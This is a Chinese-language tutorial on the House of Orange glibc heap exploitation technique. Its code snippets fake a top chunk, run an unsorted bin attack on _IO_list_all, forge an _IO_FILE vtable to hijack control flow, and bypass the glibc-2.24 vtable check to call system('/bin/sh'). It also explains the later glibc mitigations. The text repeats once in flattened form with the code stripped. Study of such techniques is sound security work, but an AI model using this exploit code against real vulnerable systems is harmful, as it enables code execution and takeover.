house of orange 漏洞
字数 1350 2025-08-05 08:20:12

House of Orange 漏洞分析与利用技术

1. 漏洞概述

House of Orange 是一种针对 glibc 堆管理机制的复杂利用技术,主要利用了 unsorted bin attack 和 _IO_FILE 结构体的特性。该技术在 glibc-2.23 及之前版本中有效,后续版本由于增加了安全防护措施而失效。

2. 基本原理

2.1 核心思想

  1. 通过堆溢出修改 Top chunk 的大小
  2. 强制系统调用 sysmalloc 扩展堆空间
  3. 释放旧的 Top chunk 到 unsorted bin
  4. 利用 unsorted bin attack 修改 _IO_list_all 指针
  5. 构造假的 _IO_FILE 结构体
  6. 触发 abort() 调用 _IO_flush_all_lockp 实现控制流劫持

2.2 关键利用链

__libc_malloc => malloc_printerr => __libc_message => abort => _IO_flush_all_lockp

3. 详细利用步骤

3.1 初始条件设置

char *p1 = malloc(0x400 - 16);
size_t *top = (size_t *)((char *)p1 + 0x400 - 16);
top[1] = 0xc01;  // 修改Top chunk大小

3.2 触发堆扩展

char *p2 = malloc(0x1000);  // 分配大于Top chunk大小的内存

此时会发生以下操作:

  1. 系统调用 sysmalloc 扩展堆
  2. 旧的 Top chunk 被释放到 unsorted bin
  3. 新的 Top chunk 在扩展后的堆区域创建

3.3 构造 unsorted bin attack

// 计算_IO_list_all地址
io_list_all = top[2] + 0x9a8;  
// 修改bk指针指向_IO_list_all-0x10
top[3] = io_list_all - 0x10;  
// 设置"/bin/sh"字符串
memcpy((char *)top, "/bin/sh\x00", 8);  
// 修改size字段为0x61
top[1] = 0x61;  

3.4 构造假 _IO_FILE 结构

_IO_FILE *fp = (_IO_FILE *)top;
fp->_mode = 0;  // 设置mode <= 0
fp->_IO_write_base = (char *)2;  // 设置write_base
fp->_IO_write_ptr = (char *)3;   // 设置write_ptr > write_base

// 设置跳转表
size_t *jump_table = &top[12];
jump_table[3] = (size_t)&winner;  // 设置_IO_OVERFLOW函数指针
*(size_t *)((size_t)fp + sizeof(_IO_FILE)) = (size_t)jump_table;

3.5 触发漏洞

malloc(10);  // 触发整个利用链

4. 关键条件检查

_IO_flush_all_lockp 中会进行以下检查:

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    || (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 
        && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
#endif
    ) && _IO_OVERFLOW(fp, EOF) == EOF)

成功概率约为50%,因为 fp->_mode 的值受随机化影响。

5. glibc-2.24 及之后的防护措施

5.1 vtable 检查机制

glibc-2.24 引入了 _IO_vtable_check,要求 vtable 指针必须在 __stop___libc_IO_vtables__start___libc_IO_vtables 之间。

static inline const struct _IO_jump_t *
IO_validate_vtable(const struct _IO_jump_t *vtable)
{
    uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
    const char *ptr = (const char *)vtable;
    uintptr_t offset = ptr - __start___libc_IO_vtables;
    
    if (__glibc_unlikely(offset >= section_length))
        _IO_vtable_check();
    return vtable;
}

5.2 绕过方法

可以利用 _IO_str_jumps 中的合法函数指针:

// 设置vtable指向_IO_str_jumps
// 将fp+0xe8偏移覆盖为system函数
// 将fp+0x38偏移覆盖为"/bin/sh"字符串

利用 _IO_str_finish 函数:

void _IO_str_finish(_IO_FILE *fp, int dummy)
{
    if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
        (((_IO_strfile *) fp)->_s._free_buffer)(fp->_IO_buf_base);
    fp->_IO_buf_base = NULL;
    _IO_default_finish(fp, 0);
}

6. glibc-2.27 及之后的变更

在 glibc-2.27 中,abort() 不再调用 _IO_flush_all_lockp,使得 House of Orange 技术失效。

变更前 (glibc-2.26):

if (stage == 1) {
    ++stage;
    fflush(NULL);
}

变更后 (glibc-2.27):

if (stage == 1) {
    stage = 0;
    __libc_lock_unlock_recursive(lock);
    raise(SIGABRT);
    __libc_lock_lock_recursive(lock);
    stage = save_stage + 1;
}

7. House of Orange by Thread 变种

7.1 原理

thread_arena.top 的 size 不足且原 heap 大于 0x4000000 时,sysmalloc 会 free 掉 top chunk,转而向低地址申请新内存。

7.2 示例代码

void *thread_func(void *p) {
    char *ptr[NUM] = {0}, *end, *new;
    for (int i = 0; i < NUM; i++) {
        ptr[i] = malloc(0x1000);
    }
    end = malloc(0x800);
    new = malloc(0x1000);
    return NULL;
}

7.3 关键代码路径

old_heap = heap_for_ptr(old_top);
old_heap_size = old_heap->size;
if ((long)(MINSIZE + nb - old_size) > 0 && 
    grow_heap(old_heap, MINSIZE + nb - old_size) == 0) {
    // 扩展堆
} else if ((heap = new_heap(nb + (MINSIZE + sizeof(*heap)), mp_.top_pad))) {
    // 分配新堆并释放旧top chunk
}

8. 总结

House of Orange 是一种复杂的堆利用技术,主要特点包括:

  1. 利用 unsorted bin attack 修改 _IO_list_all
  2. 通过构造假 _IO_FILE 结构控制程序流
  3. 在 glibc-2.23 及之前版本有效
  4. 后续版本通过 vtable 检查和 abort 流程修改进行了防护

理解该技术需要深入掌握 glibc 的堆管理机制和 _IO_FILE 结构体的内部工作原理。

House of Orange 漏洞分析与利用技术 1. 漏洞概述 House of Orange 是一种针对 glibc 堆管理机制的复杂利用技术,主要利用了 unsorted bin attack 和 _ IO_ FILE 结构体的特性。该技术在 glibc-2.23 及之前版本中有效,后续版本由于增加了安全防护措施而失效。 2. 基本原理 2.1 核心思想 通过堆溢出修改 Top chunk 的大小 强制系统调用 sysmalloc 扩展堆空间 释放旧的 Top chunk 到 unsorted bin 利用 unsorted bin attack 修改 _IO_list_all 指针 构造假的 _IO_FILE 结构体 触发 abort() 调用 _IO_flush_all_lockp 实现控制流劫持 2.2 关键利用链 3. 详细利用步骤 3.1 初始条件设置 3.2 触发堆扩展 此时会发生以下操作: 系统调用 sysmalloc 扩展堆 旧的 Top chunk 被释放到 unsorted bin 新的 Top chunk 在扩展后的堆区域创建 3.3 构造 unsorted bin attack 3.4 构造假 _ IO_ FILE 结构 3.5 触发漏洞 4. 关键条件检查 在 _IO_flush_all_lockp 中会进行以下检查: 成功概率约为50%,因为 fp->_mode 的值受随机化影响。 5. glibc-2.24 及之后的防护措施 5.1 vtable 检查机制 glibc-2.24 引入了 _IO_vtable_check ,要求 vtable 指针必须在 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间。 5.2 绕过方法 可以利用 _IO_str_jumps 中的合法函数指针: 利用 _IO_str_finish 函数: 6. glibc-2.27 及之后的变更 在 glibc-2.27 中, abort() 不再调用 _IO_flush_all_lockp ,使得 House of Orange 技术失效。 变更前 (glibc-2.26): 变更后 (glibc-2.27): 7. House of Orange by Thread 变种 7.1 原理 当 thread_arena.top 的 size 不足且原 heap 大于 0x4000000 时, sysmalloc 会 free 掉 top chunk,转而向低地址申请新内存。 7.2 示例代码 7.3 关键代码路径 8. 总结 House of Orange 是一种复杂的堆利用技术,主要特点包括: 利用 unsorted bin attack 修改 _IO_list_all 通过构造假 _IO_FILE 结构控制程序流 在 glibc-2.23 及之前版本有效 后续版本通过 vtable 检查和 abort 流程修改进行了防护 理解该技术需要深入掌握 glibc 的堆管理机制和 _IO_FILE 结构体的内部工作原理。